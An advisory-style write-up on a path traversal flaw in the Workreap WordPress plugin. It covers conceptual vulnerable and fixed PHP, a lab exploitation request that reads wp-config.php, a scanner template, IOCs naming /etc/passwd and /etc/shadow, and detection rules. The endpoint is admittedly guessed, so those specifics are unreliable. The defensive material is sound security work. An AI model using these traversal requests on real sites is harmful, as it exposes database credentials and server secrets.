CVE-2025-59566

Executive Summary

CVE-2025-59566 is a critical Path Traversal vulnerability (CWE-22) identified in the Workreap theme's plugin by AmentoTech, a WordPress ecosystem component. This flaw allows an unauthenticated attacker to read arbitrary files on the server by manipulating file path inputs, potentially exposing sensitive configuration files, database credentials, or source code. The vulnerability affects all versions of the Workreap plugin up to and including version 3.3.5. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The CVSS score of 7.7 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the high confidentiality impact.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the WordPress plugin repository and commercial theme bundles. Organizations using the Workreap theme should immediately audit their installations. Since the plugin is part of a commercial theme, updates may be delivered through the theme vendor's update mechanism. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete disclosure of sensitive server-side files.

Deep Dive & Mechanics

The vulnerability stems from improper sanitization of user-supplied input used in file path construction within the Workreap plugin. Specifically, the plugin likely uses a function like file_get_contents(), include(), or readfile() with a path derived from a GET or POST parameter (e.g., ?file=...). The application fails to validate that the resolved path stays within the intended directory (e.g., /wp-content/uploads/), allowing directory traversal sequences like ../ to escape.

Example vulnerable code pattern (conceptual):

$file = $_GET['file'];
$content = file_get_contents( WP_CONTENT_DIR . '/uploads/' . $file );
echo $content;

An attacker can supply ../../wp-config.php to read the WordPress configuration file, which contains database credentials and authentication keys.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the fix. A patched version would implement:

• Input validation: Reject paths containing .. or /.
• Path canonicalization: Use realpath() to resolve the full path and verify it starts with the allowed base directory.
• Whitelist approach: Only allow specific filenames or extensions.

Vulnerable code (conceptual):

$file = $_GET['file'];
$path = WP_CONTENT_DIR . '/uploads/' . $file;
if (file_exists($path)) {
    readfile($path);
}

Patched code (conceptual):

$file = basename($_GET['file']); // Strip directory components
$path = realpath(WP_CONTENT_DIR . '/uploads/' . $file);
$allowed = realpath(WP_CONTENT_DIR . '/uploads/');
if (strpos($path, $allowed) === 0 && file_exists($path)) {
    readfile($path);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with the Workreap theme and plugin (version <= 3.3.5) on a local server (e.g., XAMPP, Docker).
2. Ensure the plugin is active.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-content/plugins/workreap/includes/file-download.php?file=).
2. Craft a path traversal payload:

   GET /wp-content/plugins/workreap/includes/file-download.php?file=../../../../wp-config.php HTTP/1.1
   Host: target.com
   

3. The server will return the contents of wp-config.php.

Automated Scanning with Nuclei (if template existed):

id: CVE-2025-59566
info:
  name: Workreap Path Traversal
  severity: high
  description: Path traversal in Workreap plugin
requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/workreap/includes/file-download.php?file=../../../../wp-config.php"
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_USER"
          - "DB_PASSWORD"

Blue Team (Defensive)

Detection:

• Monitor web server logs for ../ sequences in request URIs.
• Alert on requests to known vulnerable endpoints (e.g., file-download.php).
• Use WAF rules to block path traversal patterns.

Hunting:

• Search for file_get_contents, readfile, include with unsanitized $_GET/$_POST parameters in the plugin code.
• Check for recent file access anomalies (e.g., access to wp-config.php from non-admin IPs).

Indicators of Compromise (IOCs)

• File paths accessed: /wp-config.php, /etc/passwd, /etc/shadow, .env, wp-config.php.bak
• HTTP request patterns: GET /wp-content/plugins/workreap/includes/file-download.php?file=../../../etc/passwd
• Log entries: GET /wp-content/plugins/workreap/includes/file-download.php?file=..%2f..%2f..%2fetc%2fpasswd
• Response content: Database credentials, server configuration files.

Detection Engineering

YARA Rule

rule CVE_2025_59566_Workreap_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Workreap plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59566"
    strings:
        $traversal1 = "file=../"
        $traversal2 = "file=..%2f"
        $traversal3 = "file=..\\"
        $endpoint = "file-download.php"
    condition:
        any of ($traversal*) and $endpoint
}

Sigma Rule

title: CVE-2025-59566 Workreap Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting path traversal on Workreap plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'file=../'
            - 'file=..%2f'
            - 'file=..\\'
        cs-uri-stem|endswith: '/file-download.php'
    condition: selection
falsepositives:
    - Legitimate use of file parameter with relative paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59566 Workreap Path Traversal Attempt"; flow:to_server; content:"/file-download.php"; http_uri; content:"file="; http_uri; pcre:"/file=(\.\.\/|\.\.%2f|\.\.\\)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns (e.g., ../, ..%2f).
3. Restrict file permissions on sensitive files (e.g., wp-config.php should be readable only by the web server user, not world-readable).

Long-term Fix:

• Apply input validation and path canonicalization as shown in the patched code example.
• Use a secure file download handler that maps user requests to a whitelist of allowed files.
• Monitor the vendor's update channel for an official patch.

Workaround:

• If the plugin is essential, modify the vulnerable file to add path sanitization (see patched code). However, this will be overwritten on plugin updates.

Valters IT
Securing Digital Frontiers